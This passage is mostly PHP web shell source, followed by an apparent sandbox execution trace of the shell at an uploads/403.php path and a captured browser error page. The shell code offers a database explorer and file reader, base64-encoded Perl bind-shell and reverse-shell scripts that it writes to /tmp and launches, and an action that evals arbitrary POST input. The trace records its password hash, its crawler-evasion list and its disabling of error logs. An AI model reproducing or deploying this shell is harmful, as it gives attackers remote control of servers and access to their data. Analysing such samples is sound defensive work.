            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
        }
    }
    bOtHeader();
    echo "\n<h1>Sql Database Explorer</h1><div class=content>\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n<td><select name='type'><option value='mysql' ";
    if (@$_POST['type'] == 'mysql') {
        echo "selected";
    }
    echo ">MySql</option><option value='pgsql' ";
    if (@$_POST['type'] == 'pgsql') {
        echo "selected";
    }
    echo ">PostgreSql</option></select></td>\n<td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>\n<td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>\n<td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
    $tmp = "<input type=text name=sql_base value=''>";
    if (isset($_POST['sql_host'])) {
        if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
            switch ($_POST['charset']) {
                case "Windows-1251":
                    $db->setCharset('cp1251');
                    break;
                case "UTF-8":
                    $db->setCharset('utf8');
                    break;
                case "KOI8-R":
                    $db->setCharset('koi8r');
                    break;
                case "KOI8-U":
                    $db->setCharset('koi8u');
                    break;
                case "cp866":
                    $db->setCharset('cp866');
                    break;
            }
            $db->listDbs();
            echo "<select name=sql_base><option value=''></option>";
            while ($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
            }
            echo "</select>";
        } else {
            echo $tmp;
        }
    } else {
        echo $tmp;
    }
    echo "</td>\n\t\t\t\t<td><input type=submit value='Hajar!' onclick='fs(d.sf);'></td>\n                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db='" . @addslashes($_POST['sql_base']) . "';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value='';\n                    if(f.p2) f.p2.value='';\n                    if(f.p3) f.p3.value='';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = 'select';\n\t\t\t\td.sf.p2.value = t;\n                if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\n\t\t\t}\n\t\t</script>";
    if (isset($db) && $db->link) {
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
        if (!empty($_POST['sql_base'])) {
            $db->selectdb($_POST['sql_base']);
            echo "<tr><td width=1 style='border-top:2px solid #800000;'><span>Tables:</span><br><br>";
            $tbls_res = $db->listTables();
            while ($item = $db->fetch($tbls_res)) {
                list($key, $value) = each($item);
                if (!empty($_POST['sql_count'])) {
                    $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                }
                $value = htmlspecialchars($value);
                echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
            }
            echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
            if (@$_POST['p1'] == 'select') {
                $_POST['p1'] = 'query';
                $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                $num = $db->fetch();
                $pages = ceil($num['n'] / 30);
                echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
                echo " of {$pages}";
                if ($_POST['p3'] > 1) {
                    echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                }
                if ($_POST['p3'] < $pages) {
                    echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                }
                $_POST['p3']--;
                if ($_POST['type'] == 'pgsql') {
                    $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                } else {
                    $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                }
                echo "<br><br>";
            }
            if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                $db->query(@$_POST['p2']);
                if ($db->res !== false) {
                    $title = false;
                    echo "<table width=100% cellspacing=1 cellpadding=2 class=main style=\"background-color:#800000\">";
                    $line = 1;
                    while ($item = $db->fetch()) {
                        if (!$title) {
                            echo "<tr>";
                            foreach ($item as $key => $value) {
                                echo '<th>' . $key . '</th>';
                            }
                            reset($item);
                            $title = true;
                            echo "</tr><tr>";
                            $line = 2;
                        }
                        echo '<tr class="l' . $line . '">';
                        $line = $line == 1 ? 2 : 1;
                        foreach ($item as $key => $value) {
                            if ($value == null) {
                                echo "<td><i>null</i></td>";
                            } else {
                                echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                            }
                        }
                        echo "</tr>";
                    }
                    echo "</table>";
                } else {
                    echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                }
            }
            echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
            if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                echo htmlspecialchars($_POST['p2']);
            }
            echo "</textarea><br/><input type=submit value='Execute'>";
            echo "</td></tr>";
        }
        echo "</table></form><br/>";
        if ($_POST['type'] == 'mysql') {
            $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
            if ($db->fetch()) {
                echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='Hajar!'></form>";
            }
        }
        if (@$_POST['p1'] == 'loadfile') {
            $file = $db->loadFile($_POST['p2']);
            echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
        }
    } else {
        echo htmlspecialchars($db->error());
    }
    echo "</div>";
    bOtFooter();
}
function actionNetwork()
{
    bOtHeader();
    $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo "<h1>Network tools</h1><div class=content>\n\t<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">\n\t<span>Bind port to /bin/sh [perl]</span><br/>\n\tPort: <input type='text' name='port' value='31337'> <input type=submit value='Hajar!'>\n\t</form>\n\t<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">\n\t<span>Back-connect  [perl]</span><br/>\n\tServer: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='Hajar!'>\n\t</form><br>";
    if (isset($_POST['p1'])) {
        function cf($f, $t)
        {
            $w = @fopen($f, "w") or @function_exists('file_put_contents');
            if ($w) {
                @fwrite($w, @base64_decode($t));
                @fclose($w);
            }
        }
        if ($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl", $bind_port_p);
            $out = bOtEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
            echo "<pre class=ml1>{$out}\n" . bOtEx("ps aux | grep bp.pl") . "</pre>";
            unlink("/tmp/bp.pl");
        }
        if ($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl", $back_connect_p);
            $out = bOtEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
            echo "<pre class=ml1>{$out}\n" . bOtEx("ps aux | grep bc.pl") . "</pre>";
            unlink("/tmp/bc.pl");
        }
    }
    echo "</div>";
    bOtFooter();
}
function actionRC()
{
    if (!@$_POST['p1']) {
        $a = array("uname" => php_uname(), "php_version" => phpversion(), "bOt_version" => bOt_VERSION, "safemode" => @ini_get('safe_mode'));
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if (empty($_POST['a'])) {
    if (isset($default_action) && function_exists('action' . $default_action)) {
        $_POST['a'] = $default_action;
    } else {
        $_POST['a'] = 'SecInfo';
    }
}
if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
    call_user_func('action' . $_POST['a']);
}
exit;

Execution traces

data/traces/31137f00a0807605464fc2b1de5a557c_trace-1676252907.3389.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:48:53.236782]
1	0	1	0.000155	393512
1	3	0	0.002443	884208	{main}	1		/var/www/html/uploads/403.php	0	0
1		A						/var/www/html/uploads/403.php	2	$auth_pass = '9e3414bc77d8635228ad4f8b9b7461ac'
1		A						/var/www/html/uploads/403.php	3	$color = '757575'
1		A						/var/www/html/uploads/403.php	4	$default_use_ajax = TRUE
1		A						/var/www/html/uploads/403.php	5	$default_charset = 'Windows-1251'
1		A						/var/www/html/uploads/403.php	6	$default_action = 'r0b0t1c'
1		A						/var/www/html/uploads/403.php	9	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
2	4	0	0.002597	884208	implode	0		/var/www/html/uploads/403.php	10	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
2	4	1	0.002628	884352
2	4	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
2	5	0	0.002655	884288	preg_match	0		/var/www/html/uploads/403.php	10	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
2	5	1	0.002687	884352
2	5	R			0
2	6	0	0.002709	884208	session_start	0		/var/www/html/uploads/403.php	16	0
2	6	1	0.002798	884960
2	6	R			TRUE
2	7	0	0.002825	884960	ini_set	0		/var/www/html/uploads/403.php	17	2	'error_log'	NULL
2	7	1	0.002852	885032
2	7	R			''
2	8	0	0.002872	884960	ini_set	0		/var/www/html/uploads/403.php	18	2	'log_errors'	0
2	8	1	0.002893	885032
2	8	R			'1'
2	9	0	0.002912	884960	ini_set	0		/var/www/html/uploads/403.php	19	2	'max_execution_time'	0
2	9	1	0.002933	885064
2	9	R			'30'
2	10	0	0.002953	884960	set_time_limit	0		/var/www/html/uploads/403.php	20	1	0
2	10	1	0.002972	885024
2	10	R			FALSE
1	3	1	0.003002	885344
1	11	0	0.003014	885376	Error->__toString	0		Unknown	0	0
2	12	0	0.003032	885456	Error->getTraceAsString	0		Unknown	0	0
2	12	1	0.003051	885712
2	12	R			'#0 {main}'
1	11	1	0.003075	886008
1	11	R			'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/403.php:21\nStack trace:\n#0 {main}'
			0.003167	806640
TRACE END   [2023-02-12 23:48:53.239827]


Generated HTML code

<html dir="ltr" lang="en"><head>
  <meta charset="utf-8">
  <meta name="color-scheme" content="light dark">
  <meta name="theme-color" content="#fff">
  <meta name="viewport" content="width=device-width, initial-scale=1.0,
                                 maximum-scale=1.0, user-scalable=no">
  <title>localhost</title>
  <style>/* Copyright 2017 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

a {
  color: var(--link-color);
}

body {
  --background-color: #fff;
  --error-code-color: var(--google-gray-700);
  --google-blue-100: rgb(210, 227, 252);
  --google-blue-300: rgb(138, 180, 248);
  --google-blue-600: rgb(26, 115, 232);
  --google-blue-700: rgb(25, 103, 210);
  --google-gray-100: rgb(241, 243, 244);
  --google-gray-300: rgb(218, 220, 224);
  --google-gray-500: rgb(154, 160, 166);
  --google-gray-50: rgb(248, 249, 250);
  --google-gray-600: rgb(128, 134, 139);
  --google-gray-700: rgb(95, 99, 104);
  --google-gray-800: rgb(60, 64, 67);
  --google-gray-900: rgb(32, 33, 36);
  --heading-color: var(--google-gray-900);
  --link-color: rgb(88, 88, 88);
  --popup-container-background-color: rgba(0,0,0,.65);
  --primary-button-fill-color-active: var(--google-blue-700);
  --primary-button-fill-color: var(--google-blue-600);
  --primary-button-text-color: #fff;
  --quiet-background-color: rgb(247, 247, 247);
  --secondary-button-border-color: var(--google-gray-500);
  --secondary-button-fill-color: #fff;
  --secondary-button-hover-border-color: var(--google-gray-600);
  --secondary-button-hover-fill-color: var(--google-gray-50);
  --secondary-button-text-color: var(--google-gray-700);
  --small-link-color: var(--google-gray-700);
  --text-color: var(--google-gray-700);
  background: var(--background-color);
  color: var(--text-color);
  word-wrap: break-word;
}

.nav-wrapper .secondary-button {
  background: var(--secondary-button-fill-color);
  border: 1px solid var(--secondary-button-border-color);
  color: var(--secondary-button-text-color);
  float: none;
  margin: 0;
  padding: 8px 16px;
}

.hidden {
  display: none;
}

html {
  -webkit-text-size-adjust: 100%;
  font-size: 125%;
}

.icon {
  background-repeat: no-repeat;
  background-size: 100%;
}

@media (prefers-color-scheme: dark) {
  body {
    --background-color: var(--google-gray-900);
    --error-code-color: var(--google-gray-500);
    --heading-color: var(--google-gray-500);
    --link-color: var(--google-blue-300);
    --primary-button-fill-color-active: rgb(129, 162, 208);
    --primary-button-fill-color: var(--google-blue-300);
    --primary-button-text-color: var(--google-gray-900);
    --quiet-background-color: var(--background-color);
    --secondary-button-border-color: var(--google-gray-700);
    --secondary-button-fill-color: var(--google-gray-900);
    --secondary-button-hover-fill-color: rgb(48, 51, 57);
    --secondary-button-text-color: var(--google-blue-300);
    --small-link-color: var(--google-blue-300);
    --text-color: var(--google-gray-500);
  }
}
</style>
  <style>/* Copyright 2014 The Chromium Authors
   Use of this source code is governed by a BSD-style license that can be
   found in the LICENSE file. */

button {
  border: 0;
  border-radius: 4px;
  box-sizing: border-box;
  color: var(--primary-button-text-color);
  cursor: pointer;
  float: right;
  font-size: .875em;
  margin: 0;
  padding: 8px 16px;
  transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
  user-select: none;
}

[dir='rtl'] button {
  float: left;
}

.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
  background: var(--primary-button-fill-color);
}

button:active {
  background: var(--primary-button-fill-color-active);
  outline: 0;
}

#debugging {
  display: inline;
  overflow: auto;
}

.debugging-content {
  line-height: 1em;
  margin-bottom: 0;
  margin-top: 1em;
}

.debugging-content-fixed-width {
  display: block;
  font-family: monospace;
  font-size: 1.2em;
  margin-top: 0.5em;
}

.debugging-title {
  font-weight: bold;
}

#details {
  margin: 0 0 50px;
}

#details p:not(:first-of-type) {
  margin-top: 20px;
}

.secondary-button:active {
  border-color: white;
  box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
      0 2px 6px 2px rgba(60, 64, 67, .15);
}

.secondary-button:hover {
  background: var(--secondary-button-hover-fill-color);
  border-color: var(--secondary-button-hover-border-color);
  text-decoration: none;
}

.error-code {
  color: var(--error-code-color);
  font-size: .8em;
  margin-top: 12px;
  text-transform: uppercase;
}

#error-debugging-info {
  font-size: 0.8em;
}

h1 {
  color: var(--heading-color);
  font-size: 1.6em;
  font-weight: normal;
  line-height: 1.25em;
  margin-bottom: 16px;
}

h2 {
  font-size: 1.2em;
  font-weight: normal;
}

.icon {
  height: 72px;
  margin: 0 0 40px;
  width: 72px;
}

input[type=checkbox] {
  opacity: 0;
}

input[type=checkbox]:focus ~ .checkbox::after {
  outline: -webkit-focus-ring-color auto 5px;
}

.interstitial-wrapper {
  box-sizing: border-box;
  font-size: 1em;
  line-height: 1.6em;
  margin: 14vh auto 0;
  max-width: 600px;
  width: 100%;
}

#main-message > p {
  display: inline;
}

#extended-reporting-opt-in {
  font-size: .875em;
  margin-top: 32px;
}

#extended-reporting-opt-in label {
  display: grid;
  grid-template-columns: 1.8em 1fr;
  position: relative;
}

#enhanced-protection-message {
  border-radius: 4px;
  font-size: 1em;
  margin-top: 32px;
  padding: 10px 5px;
}

#enhanced-protection-message label {
  display: grid;
  grid-template-columns: 2.5em 1fr;
  position: relative;
}

#enhanced-protection-message div {
  margin: 0.5em;
}

#enhanced-protection-message .icon {
  height: 1.5em;
  vertical-align: middle;
  width: 1.5em;
}

.nav-wrapper {
  margin-top: 51px;
}

.nav-wrapper::after {
  clear: both;
  content: '';
  display: table;
  width: 100%;
}

.small-link {
  color: var(--small-link-color);
  font-size: .875em;
}

.checkboxes {
  flex: 0 0 24px;
}

.checkbox {
  --padding: .9em;
  background: transparent;
  display: block;
  height: 1em;
  left: -1em;
  padding-inline-start: var(--padding);
  position: absolute;
  right: 0;
  top: -.5em;
  width: 1em;
}

.checkbox::after {
  border: 1px solid white;
  border-radius: 2px;
  content: '';
  height: 1em;
  left: var(--padding);
  position: absolute;
  top: var(--padding);
  width: 1em;
}

.checkbox::before {
  background: transparent;
  border: 2px solid white;
  border-inline-end-width: 0;
  border-top-width: 0;
  content: '';
  height: .2em;
  left: calc(.3em + var(--padding));
  opacity: 0;
  position: absolute;
  top: calc(.3em  + var(--padding));
  transform: rotate(-45deg);
  width: .5em;
}

input[type=checkbox]:checked ~ .checkbox::before {
  opacity: 1;
}

#recurrent-error-message {
  background: #ededed;
  border-radius: 4px;
  margin-bottom: 16px;
  margin-top: 12px;
  padding: 12px 16px;
}

.showing-recurrent-error-message #extended-reporting-opt-in {
  margin-top: 16px;
}

.showing-recurrent-error-message #enhanced-protection-message {
  margin-top: 16px;
}

@media (max-width: 700px) {
  .interstitial-wrapper {
    padding: 0 10%;
  }

  #error-debugging-info {
    overflow: auto;
  }
}

@media (max-width: 420px) {
  button,
  [dir='rtl'] button,
  .small-link {
    float: none;
    font-size: .825em;
    font-weight: 500;
    margin: 0;
    width: 100%;
  }

  button {
    padding: 16px 24px;
  }

  #details {
    margin: 20px 0 20px 0;
  }

  #details p:not(:first-of-type) {
    margin-top: 10px;
  }

  .secondary-button:not(.hidden) {
    display: block;
    margin-top: 20px;
    text-align: center;
    width: 100%;
  }

  .interstitial-wrapper {
    padding: 0 5%;
  }

  #extended-reporting-opt-in {
    margin-top: 24px;
  }

  #enhanced-protection-message {
    margin-top: 24px;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

/**
 * Mobile specific styling.
 * Navigation buttons are anchored to the bottom of the screen.
 * Details message replaces the top content in its own scrollable area.
 */

@media (max-width: 420px) {
  .nav-wrapper .secondary-button {
    border: 0;
    margin: 16px 0 0;
    margin-inline-end: 0;
    padding-bottom: 16px;
    padding-top: 16px;
  }
}

/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
       (min-height: 401px),
       (min-width: 421px) and (min-height: 240px) and
       (max-height: 560px) {
  body .nav-wrapper {
    background: var(--background-color);
    bottom: 0;
    box-shadow: 0 -12px 24px var(--background-color);
    left: 0;
    margin: 0 auto;
    max-width: 736px;
    padding-inline-end: 24px;
    padding-inline-start: 24px;
    position: fixed;
    right: 0;
    width: 100%;
    z-index: 2;
  }

  .interstitial-wrapper {
    max-width: 736px;
  }

  #details,
  #main-content {
    padding-bottom: 40px;
  }

  #details {
    padding-top: 5.5vh;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  body {
    margin: 0 auto;
  }

  button,
  [dir='rtl'] button,
  button.small-link,
  .nav-wrapper .secondary-button {
    font-family: Roboto-Regular,Helvetica;
    font-size: .933em;
    margin: 6px 0;
    transform: translatez(0);
  }

  .nav-wrapper {
    box-sizing: border-box;
    padding-bottom: 8px;
    width: 100%;
  }

  #details {
    box-sizing: border-box;
    height: auto;
    margin: 0;
    opacity: 1;
    transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  #details.hidden,
  #main-content.hidden {
    height: 0;
    opacity: 0;
    overflow: hidden;
    padding-bottom: 0;
    transition: none;
  }

  h1 {
    font-size: 1.5em;
    margin-bottom: 8px;
  }

  .icon {
    margin-bottom: 5.69vh;
  }

  .interstitial-wrapper {
    box-sizing: border-box;
    margin: 7vh auto 12px;
    padding: 0 24px;
    position: relative;
  }

  .interstitial-wrapper p {
    font-size: .95em;
    line-height: 1.61em;
    margin-top: 8px;
  }

  #main-content {
    margin: 0;
    transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  .small-link {
    border: 0;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
    margin: 0;
  }
}

@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

@media (min-height: 400px) and (orientation:portrait) {
  .interstitial-wrapper {
    margin-bottom: 145px;
  }
}

@media (min-height: 299px) {
  .nav-wrapper {
    padding-bottom: 16px;
  }
}

@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
  .extended-reporting-has-checkbox #details {
    padding-bottom: 80px;
  }
}

@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
       (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 7vh;
  }
}

@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
       (max-height: 239px) and (orientation: landscape),
       (max-width: 419px) and (max-height: 399px) {
  .interstitial-wrapper {
    display: flex;
    flex-direction: column;
    margin-bottom: 0;
  }

  #details {
    flex: 1 1 auto;
    order: 0;
  }

  #main-content {
    flex: 1 1 auto;
    order: 0;
  }

  .nav-wrapper {
    flex: 0 1 auto;
    margin-top: 8px;
    order: 1;
    padding-inline-end: 0;
    padding-inline-start: 0;
    position: relative;
    width: 100%;
  }

  button,
  .nav-wrapper .secondary-button {
    padding: 16px 24px;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 239px) and (orientation: portrait) {
  .nav-wrapper {
    padding-inline-end: 0;
    padding-inline-start: 0;
  }
}
</style>
  <style>/* Copyright 2013 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
  display: none;
}

/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
  display: none;
}

h1 {
  margin-top: 0;
  word-wrap: break-word;
}

h1 span {
  font-weight: 500;
}

a {
  text-decoration: none;
}

.icon {
  -webkit-user-select: none;
  display: inline-block;
}

.icon-generic {
  /* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
   * renderer process, so embed the resource manually. */
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}

.icon-offline {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
  position: relative;
}

.icon-disabled {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
